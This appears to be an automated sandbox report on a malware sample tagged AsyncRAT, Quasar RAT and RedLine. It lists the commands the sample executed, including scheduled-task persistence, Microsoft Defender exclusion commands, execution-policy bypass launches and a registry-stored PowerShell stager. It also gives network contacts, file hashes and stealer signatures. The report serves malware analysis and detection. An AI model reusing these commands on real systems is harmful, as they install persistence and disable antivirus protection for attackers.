C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp1A7.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"'

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\$77-update.exe

"C:\Users\Admin\AppData\Roaming\$77-update.exe"

C:\Users\Admin\AppData\Roaming\$77-update.exe

"{path}"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension @('exe','dll') -Force

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe"' & exit

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe"'

C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe

"C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {B5D88114-AA30-4B8B-92A7-7D62C2E8F18E} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "668684495-1483970502-1418786949-800884811-977448482-96501856-1772843700-170108309"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{a6b6aeb0-d464-4ea5-b2ac-d509709e490e}

C:\Windows\SysWOW64\dllhost.exe

C:\Windows\SysWOW64\dllhost.exe /Processid:{16e1b028-0440-415f-b06f-43c00916467e}

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jryyjp.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\aztndq.exe"' & exit

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1139731289-13498560651055892570-1906471362-15694092201933630600290700091608861979"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1507667889-268449033-1423338198-1492980253620861439-1933508774-387094207-288685600"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jryyjp.exe"'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\aztndq.exe"'

C:\Users\Admin\AppData\Local\Temp\aztndq.exe

"C:\Users\Admin\AppData\Local\Temp\aztndq.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-20393064051757100730-16330321699532405612044648895250725453-2117161765-1091857355"

C:\Users\Admin\AppData\Local\Temp\jryyjp.exe

"C:\Users\Admin\AppData\Local\Temp\jryyjp.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\adiojv.exe"' & exit

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-268108441-266419577-9576016062078434459-505200725-6611749502065749379-440121918"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\adiojv.exe"'

C:\Users\Admin\AppData\Local\Temp\adiojv.exe

"C:\Users\Admin\AppData\Local\Temp\adiojv.exe"

Network

Country Destination Domain Proto
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:18875 179.43.187.19 tcp
CH 179.43.187.19:2525 tcp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.13.31:443 api.ip.sb tcp

Files

memory/1488-54-0x00000000002D0000-0x0000000000368000-memory.dmp

memory/1488-55-0x0000000075AD1000-0x0000000075AD3000-memory.dmp

memory/1488-56-0x0000000000460000-0x0000000000480000-memory.dmp

memory/1488-57-0x0000000005C60000-0x0000000005CC6000-memory.dmp

memory/1488-58-0x00000000004F0000-0x0000000000502000-memory.dmp

memory/1920-59-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1920-62-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1920-63-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1920-60-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1920-64-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1920-65-0x000000000040D15E-mapping.dmp

memory/1920-67-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1920-69-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1628-71-0x0000000000000000-mapping.dmp

memory/968-72-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\tmp1A7.tmp.bat

MD5 0e5345eda0ce8bb4ce97c72503588c94
SHA1 4b0fc1132398ca3e8fecb697d74eb7b8d6eea2a4
SHA256 05cebcff2a3e250fa13d45b613fcd8d00c91fe23451efa8faf7da8363ba1bfd4
SHA512 8a4f9617c7104163fad501f5766701ba4afeeae0683dc78d41beb78bf96372fb6a7a6458625c10f82e3aaf2ff2b3e841588d7d3a969fb98f91b0ee417e3a553b

memory/1668-75-0x0000000000000000-mapping.dmp

memory/1380-74-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/1564-78-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/1564-80-0x0000000001010000-0x00000000010A8000-memory.dmp

memory/1564-82-0x0000000000450000-0x0000000000462000-memory.dmp

\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/1536-90-0x000000000040D15E-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/1536-95-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1536-93-0x0000000000400000-0x0000000000412000-memory.dmp

memory/540-97-0x0000000000000000-mapping.dmp

memory/1608-98-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 33fe37eeaf26f00718aa2d0c68581fd0
SHA1 b1c6af86b9dd536e2674e1eec7ce2fa170faac64
SHA256 cb399b8870a74447ff2408d09b3ed43c4f1b92db8c484e70bb6428de933c9373
SHA512 b0f4ea83ad8cb85f3a2d75cd463b4f0e2fd6c8417de4d0d5b690af7b632156ae95bb310af8e78560f921541113567f0054a24c2a8cb6e00e7fd8138de8d20889

memory/1608-102-0x0000000071170000-0x000000007171B000-memory.dmp

memory/540-103-0x0000000071170000-0x000000007171B000-memory.dmp

memory/1608-105-0x0000000071170000-0x000000007171B000-memory.dmp

memory/540-104-0x0000000071170000-0x000000007171B000-memory.dmp

memory/1536-106-0x00000000005C0000-0x00000000005CC000-memory.dmp

memory/704-107-0x0000000000000000-mapping.dmp

memory/948-108-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 33fe37eeaf26f00718aa2d0c68581fd0
SHA1 b1c6af86b9dd536e2674e1eec7ce2fa170faac64
SHA256 cb399b8870a74447ff2408d09b3ed43c4f1b92db8c484e70bb6428de933c9373
SHA512 b0f4ea83ad8cb85f3a2d75cd463b4f0e2fd6c8417de4d0d5b690af7b632156ae95bb310af8e78560f921541113567f0054a24c2a8cb6e00e7fd8138de8d20889

C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

\Users\Admin\AppData\Local\Temp\pnzqhe.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

memory/1636-113-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\pnzqhe.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

memory/948-115-0x00000000703A0000-0x000000007094B000-memory.dmp

memory/1976-116-0x0000000000000000-mapping.dmp

memory/1108-117-0x0000000000000000-mapping.dmp

memory/1976-119-0x000007FEFC001000-0x000007FEFC003000-memory.dmp

memory/1976-120-0x000007FEF4640000-0x000007FEF5063000-memory.dmp

memory/1108-122-0x0000000070440000-0x00000000709EB000-memory.dmp

memory/1976-123-0x0000000000A14000-0x0000000000A17000-memory.dmp

memory/1976-121-0x000007FEF38F0000-0x000007FEF444D000-memory.dmp

memory/1976-124-0x0000000000A1B000-0x0000000000A3A000-memory.dmp

memory/1976-126-0x0000000077780000-0x0000000077929000-memory.dmp

memory/1976-127-0x0000000077560000-0x000000007767F000-memory.dmp

memory/1108-128-0x0000000077960000-0x0000000077AE0000-memory.dmp

memory/680-130-0x0000000140003954-mapping.dmp

memory/680-129-0x0000000140000000-0x000000014004B000-memory.dmp

memory/1976-131-0x0000000077780000-0x0000000077929000-memory.dmp

memory/1976-134-0x0000000077560000-0x000000007767F000-memory.dmp

memory/680-133-0x0000000140000000-0x000000014004B000-memory.dmp

memory/680-135-0x0000000077780000-0x0000000077929000-memory.dmp

memory/680-136-0x0000000077560000-0x000000007767F000-memory.dmp

memory/1976-137-0x0000000000A14000-0x0000000000A17000-memory.dmp

memory/1976-138-0x0000000000A1B000-0x0000000000A3A000-memory.dmp

memory/1976-140-0x0000000077780000-0x0000000077929000-memory.dmp

memory/416-139-0x00000000007A0000-0x00000000007C6000-memory.dmp

memory/1976-141-0x0000000077560000-0x000000007767F000-memory.dmp

memory/416-144-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/416-143-0x000007FEBF430000-0x000007FEBF440000-memory.dmp

memory/460-148-0x000007FEBF430000-0x000007FEBF440000-memory.dmp

memory/460-149-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/476-152-0x000007FEBF430000-0x000007FEBF440000-memory.dmp

memory/476-154-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/416-159-0x0000000000860000-0x000000000088D000-memory.dmp

memory/680-161-0x0000000140000000-0x000000014004B000-memory.dmp

memory/484-160-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/416-155-0x00000000007A0000-0x00000000007C6000-memory.dmp

memory/484-157-0x000007FEBF430000-0x000007FEBF440000-memory.dmp

memory/588-156-0x0000000000400000-0x0000000000439000-memory.dmp

memory/680-163-0x0000000077780000-0x0000000077929000-memory.dmp

memory/580-166-0x000007FEBF430000-0x000007FEBF440000-memory.dmp

memory/460-165-0x0000000000230000-0x000000000025D000-memory.dmp

memory/580-169-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/476-168-0x0000000000130000-0x000000000015D000-memory.dmp

memory/656-172-0x000007FEBF430000-0x000007FEBF440000-memory.dmp

memory/484-171-0x0000000000400000-0x000000000042D000-memory.dmp

memory/580-174-0x00000000005F0000-0x000000000061D000-memory.dmp

memory/656-173-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/656-177-0x0000000000480000-0x00000000004AD000-memory.dmp

memory/744-180-0x00000000009B0000-0x00000000009DD000-memory.dmp

memory/744-183-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/792-186-0x0000000000970000-0x000000000099D000-memory.dmp

memory/844-192-0x00000000007E0000-0x000000000080D000-memory.dmp

memory/792-189-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/844-195-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/868-198-0x00000000009F0000-0x0000000000A1D000-memory.dmp

memory/868-201-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/300-204-0x0000000001340000-0x000000000136D000-memory.dmp

memory/300-206-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/1192-252-0x0000000000000000-mapping.dmp

memory/1648-251-0x0000000000000000-mapping.dmp

memory/784-253-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 33fe37eeaf26f00718aa2d0c68581fd0
SHA1 b1c6af86b9dd536e2674e1eec7ce2fa170faac64
SHA256 cb399b8870a74447ff2408d09b3ed43c4f1b92db8c484e70bb6428de933c9373
SHA512 b0f4ea83ad8cb85f3a2d75cd463b4f0e2fd6c8417de4d0d5b690af7b632156ae95bb310af8e78560f921541113567f0054a24c2a8cb6e00e7fd8138de8d20889

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 33fe37eeaf26f00718aa2d0c68581fd0
SHA1 b1c6af86b9dd536e2674e1eec7ce2fa170faac64
SHA256 cb399b8870a74447ff2408d09b3ed43c4f1b92db8c484e70bb6428de933c9373
SHA512 b0f4ea83ad8cb85f3a2d75cd463b4f0e2fd6c8417de4d0d5b690af7b632156ae95bb310af8e78560f921541113567f0054a24c2a8cb6e00e7fd8138de8d20889

C:\Users\Admin\AppData\Local\Temp\aztndq.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

C:\Users\Admin\AppData\Local\Temp\aztndq.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

memory/972-266-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\aztndq.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

C:\Users\Admin\AppData\Local\Temp\jryyjp.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

memory/272-268-0x00000000003C0000-0x00000000003ED000-memory.dmp

\Users\Admin\AppData\Local\Temp\jryyjp.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

memory/972-274-0x0000000000180000-0x000000000019E000-memory.dmp

memory/1028-273-0x00000000007B0000-0x00000000007DD000-memory.dmp

memory/272-271-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/608-277-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\jryyjp.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

memory/2000-297-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/2000-296-0x0000000000840000-0x000000000086D000-memory.dmp

memory/816-295-0x0000000000D60000-0x0000000000D8D000-memory.dmp

memory/1128-294-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/1128-293-0x00000000004A0000-0x00000000004CD000-memory.dmp

memory/1352-292-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/1352-291-0x0000000002A20000-0x0000000002A4D000-memory.dmp

memory/1816-290-0x00000000003B0000-0x00000000003DD000-memory.dmp

memory/1316-289-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/1316-288-0x0000000001B20000-0x0000000001B4D000-memory.dmp

memory/1228-287-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/1228-286-0x0000000001BD0000-0x0000000001BFD000-memory.dmp

memory/1532-285-0x0000000001BA0000-0x0000000001BCD000-memory.dmp

memory/1532-284-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/784-282-0x0000000070440000-0x00000000709EB000-memory.dmp

memory/1624-281-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/1624-280-0x0000000000170000-0x000000000019D000-memory.dmp

memory/896-279-0x0000000070440000-0x00000000709EB000-memory.dmp

memory/1028-275-0x00000000377C0000-0x00000000377D0000-memory.dmp

memory/896-314-0x0000000000000000-mapping.dmp

memory/1540-315-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 33fe37eeaf26f00718aa2d0c68581fd0
SHA1 b1c6af86b9dd536e2674e1eec7ce2fa170faac64
SHA256 cb399b8870a74447ff2408d09b3ed43c4f1b92db8c484e70bb6428de933c9373
SHA512 b0f4ea83ad8cb85f3a2d75cd463b4f0e2fd6c8417de4d0d5b690af7b632156ae95bb310af8e78560f921541113567f0054a24c2a8cb6e00e7fd8138de8d20889

\Users\Admin\AppData\Local\Temp\adiojv.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

C:\Users\Admin\AppData\Local\Temp\adiojv.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

memory/820-322-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\adiojv.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

Analysis: behavioral2

Detonation Overview

Submitted

2022-11-01 10:41

Reported

2022-11-01 10:43

Platform

win10v2004-20220812-en

Max time kernel

151s

Max time network

153s

Command Line

C:\Windows\system32\lsass.exe

Signatures

AsyncRat

rat asyncrat

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of NtCreateProcessExOtherParentProcess

Description Indicator Process Target
PID 4780 created 4480 N/A C:\Windows\system32\WerFault.exe C:\Windows\system32\DllHost.exe
PID 4792 created 3340 N/A C:\Windows\system32\WerFault.exe C:\Windows\system32\DllHost.exe

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Clip.exe C:\Users\Admin\AppData\Local\Temp\sjtjny.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Clip.exe C:\Users\Admin\AppData\Local\Temp\sjtjny.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx C:\Windows\System32\svchost.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\Tasks\$77Client C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\$77win C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe N/A
File opened for modification C:\Windows\system32\$77win C:\Windows\system32\$77win\$77Client.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx C:\Windows\System32\svchost.exe N/A
File created C:\Windows\system32\$77win\$77Client.exe C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe N/A
File opened for modification C:\Windows\system32\$77win\$77Client.exe C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe N/A
File opened for modification C:\Windows\system32\$77win\$77Client.exe C:\Windows\system32\$77win\$77Client.exe N/A
